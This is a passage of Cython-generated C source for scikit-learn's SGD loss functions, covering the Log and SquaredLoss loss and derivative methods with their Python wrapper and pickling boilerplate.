__Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":211\n * \n *     cpdef double dloss(self, double p, double y):\n *         cdef double z = p * y             # <<<<<<<<<<<<<<\n *         # approximately equal and saves the computation of the log\n *         if z > 18.0:\n */\n  __pyx_v_z = (__pyx_v_p * __pyx_v_y);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":213\n *         cdef double z = p * y\n *         # approximately equal and saves the computation of the log\n *         if z > 18.0:             # <<<<<<<<<<<<<<\n *             return exp(-z) * -y\n *         if z < -18.0:\n */\n  __pyx_t_6 = (__pyx_v_z > 18.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":214\n *         # approximately equal and saves the computation of the log\n *         if z > 18.0:\n *             return exp(-z) * -y             # <<<<<<<<<<<<<<\n *         if z < -18.0:\n *             return -y\n */\n    __pyx_r = (exp((-__pyx_v_z)) * (-__pyx_v_y));\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  __pyx_L3:;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":215\n *         if z > 18.0:\n *             return exp(-z) * -y\n *         if z < -18.0:             # <<<<<<<<<<<<<<\n *             return -y\n *         return -y / (exp(z) + 1.0)\n */\n  __pyx_t_6 = (__pyx_v_z < -18.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":216\n *             return exp(-z) * -y\n *         if z < -18.0:\n *             return -y             # <<<<<<<<<<<<<<\n *         return -y / (exp(z) + 1.0)\n * \n */\n    __pyx_r = (-__pyx_v_y);\n    goto __pyx_L0;\n    goto __pyx_L4;\n  }\n  __pyx_L4:;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":217\n *         if z < -18.0:\n *             return -y\n *         return -y / (exp(z) + 1.0)             # <<<<<<<<<<<<<<\n * \n *     def __reduce__(self):\n */\n  __pyx_r = ((-__pyx_v_y) / (exp(__pyx_v_z) + 1.0));\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Log.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Log.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_2dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":210\n *         return log(1.0 + exp(-z))\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         # approximately equal and saves the computation of the log\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Log *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Log.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_5__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_5__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__reduce__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_4__reduce__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *)__pyx_v_self));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":219\n *         return -y / (exp(z) + 1.0)\n * \n *     def __reduce__(self):             # <<<<<<<<<<<<<<\n *         return Log, ()\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_4__reduce__(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *__pyx_v_self) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__reduce__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":220\n * \n *     def __reduce__(self):\n *         return Log, ()             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 220; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Log)));\n  PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Log)));\n  __Pyx_GIVEREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Log)));\n  __Pyx_INCREF(((PyObject *)__pyx_empty_tuple));\n  PyTuple_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_empty_tuple));\n  __Pyx_GIVEREF(((PyObject *)__pyx_empty_tuple));\n  __pyx_r = ((PyObject *)__pyx_t_1);\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Log.__reduce__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":225\n * cdef class SquaredLoss(Regression):\n *     \"\"\"Squared loss traditional used in linear regression.\"\"\"\n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         return 0.5 * (p - y) * (p - y)\n * \n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_loss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_1loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":226\n *     \"\"\"Squared loss traditional used in linear regression.\"\"\"\n *     cpdef double loss(self, double p, double y):\n *         return 0.5 * (p - y) * (p - y)             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  __pyx_r = ((0.5 * (__pyx_v_p - __pyx_v_y)) * (__pyx_v_p - __pyx_v_y));\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.SquaredLoss.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredLoss.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":225\n * cdef class SquaredLoss(Regression):\n *     \"\"\"Squared loss traditional used in linear regression.\"\"\"\n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         return 0.5 * (p - y) * (p - y)\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredLoss *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 225; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredLoss.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":228\n *         return 0.5 * (p - y) * (p - y)\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         return p - y\n * \n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_dloss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_3dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":229\n * \n *     cpdef double dloss(self, double p, double y):\n *         return p - y             # <<<<<<<<<<<<<<\n * \n *     def __reduce__(self):\n */\n  __pyx_r = (__pyx_v_p - __pyx_v_y);\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.SquaredLoss.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if 